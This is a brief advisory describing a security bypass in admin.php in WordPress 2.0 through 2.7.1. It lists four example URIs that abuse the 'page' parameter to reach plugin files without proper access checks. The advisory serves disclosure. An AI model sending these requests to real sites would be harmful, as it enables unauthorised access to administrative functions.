WordPress versions 2.0 through 2.7.1 suffer from a security bypass vulnerability in admin.php.
751cbc34df5a1384e9a5e8cbac91523d1b2055903c93a05531f97a4ab2e12711
An attacker can exploit this issue via a browser.
The following example URIs are available:
https://www.example.com/wp-admin/admin.php?page=/collapsing-archives/options.txt
https://www.example.com/wp-admin/admin.php?page=akismet/readme.txt
https://www.example.com/wp-admin/admin.php?page=related-ways-to-take-action/options.php
https://www.example.com/wp-admin/admin.php?page=wp-security-scan/securityscan.php